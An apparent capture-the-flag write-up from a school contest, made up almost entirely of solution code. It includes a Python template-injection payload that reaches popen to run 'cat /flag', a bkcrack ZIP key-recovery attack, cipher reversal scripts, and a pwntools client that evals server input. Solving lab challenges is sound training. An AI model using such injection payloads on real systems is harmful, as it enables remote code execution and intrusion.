校赛Writeup

<div tal:content="python:getattr(().__class__.__bases__[0].__subclasses__()[159].__init__, '__glob'+'als__')['po'+'pen']('cat /flag').read()">test</div>
 
<p>${getattr(().__class__.__bases__[0].__subclasses__()[159].__init__, '__glob'+'als__')['po'+'pen']('cat /flag').read()}</p>

with open("bin", "rb") as f:
    data = f.read()
# extract odd bits and save
with open("even", "wb") as f:
    for i in range(len(data)):
        if i % 2 == 0:
            f.write(bytes([data[i]]))
 
with open("odd", "wb") as f:
    for i in range(len(data)):
        if i % 2 == 1:
            f.write(bytes([data[i]]))

eigh tfou 4aj1

bkcrack -C crack.zip -c flag.txtw -x 32 65696768 -x 36 74666f75 -x 480 34616a31
bkcrack 1.8.0 - 2025-08-18
[12:49:19] Attack on 4194304 Z values at index 39
Keys: 4ccfb9d4 4db14f38 2b70df4f
87.7 % (3679382 / 4194304)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 3679382
[13:21:46] Keys
4ccfb9d4 4db14f38 2b70df4f
 
bkcrack -C crack.zip -k 4ccfb9d4 4db14f38 2b70df4f -U unlocked.zip new_password

flag = "4aj1"
key = "ainatas"
encrypted = vigenere_encrypt(flag, key)
print(encrypted)
#ftng{l4eyav0tr@ihq_15_@lzrawy_gu4lntxd_LT}

curl -X POST http://ctf.a1natas.com:23747/api/orrery.php \
  -H "Content-Type: application/json" \
  -d '{"ids":["M-19"],"token":28}'

S2m1WSzwzSSHa0KkPhNta1S3bkOSJRW3VTaIahqOPjSDRBGiV049MN==

XYZABCDEFGHIJKLMNOPQRSTUVWxyzabcdefghijklmnopqrstuvw0123456789+/

if (i % 4 == 0) s[i] ^ 0x12 == v5[i / 4]
if (i % 4 == 1) s[i] + 5 == v4[i / 4]
if (i % 4 == 2) s[i] + s[i - 1] == v3[i / 4]
if (i % 4 == 3) i ^ s[i] == v2[i / 4]

v5 = [39, 39, 107, 77]
v4 = [56, 56, 53, 58]
v3 = [102, 102, 165, 104]
v2 = [92, 88, 121, 108]

packet[0] = 32;
packet[1] ^= 0x20;
packet[i+1] ^= packet[i];
packet[i+1] = flag[i] ^ flag[i-1]; // 相邻异或差分

0x222004 // BoxInit
0x222008 // key = "driver_box_key"
0x222010 // 加密 packet
0x222020 // 校验

const unsigned __int8 g_Target[33] =
{ 244u, 210u, 84u, 253u, 226u, 194u, 94u, 97u, 239u, 44u, 1u, 116u, 212u, 222u, 1u, 251u, 188u, 146u, 39u, 167u, 137u, 28u, 132u, 239u, 72u, 229u, 94u, 74u, 249u, 241u, 189u, 35u, 78u
}; // idb

buffer[k] ^= g_Sbox[(g_Sbox[i] + old_sbox_i) & 0xff] ^ 0x55;

flag[0] = packet[1] ^ 0x20;
for (let i = 1; i < 32; i++) {
 
  flag[i] = packet[i + 1] ^ flag[i - 1];
}

g_Target = [244,210,84,253,226,194,94,97,239,44,1,116,212,222,1,251,188,146,39,167,137,28,132,239,72,229,94,74,249,241,189,35,78]
key = b"driver_box_key"
 
s = list(range(256))
j = 0
for i in range(256):
    old = s[i]
    j = (j + key[i % len(key)] + old) & 0xFF
    s[i], s[j] = s[j], old
i = 0
j = 0
packet = []
for c in g_Target:
    i = (i + 1) & 0xFF
    old = s[i]
    j = (j + old) & 0xFF
    s[i], s[j] = s[j], old
    stream = s[(s[i] + old) & 0xFF] ^ 0x55
    packet.append(c ^ stream)
flag = bytearray(32)
flag[0] = packet[1] ^ 0x20
for i in range(1, 32):
    flag[i] = packet[i + 1] ^ flag[i - 1]
print(flag)
 

from pwn import *
 
r = remote("ctf.a1natas.com", 29594)
while True:
    line = r.recvline().decode()
    print(line)
    if(line[0] == '['):
        formula = line.split('=')[0].split(']')[1].strip()
        print(formula,eval(formula))
        r.sendline(str(eval(formula)))
r.interactive()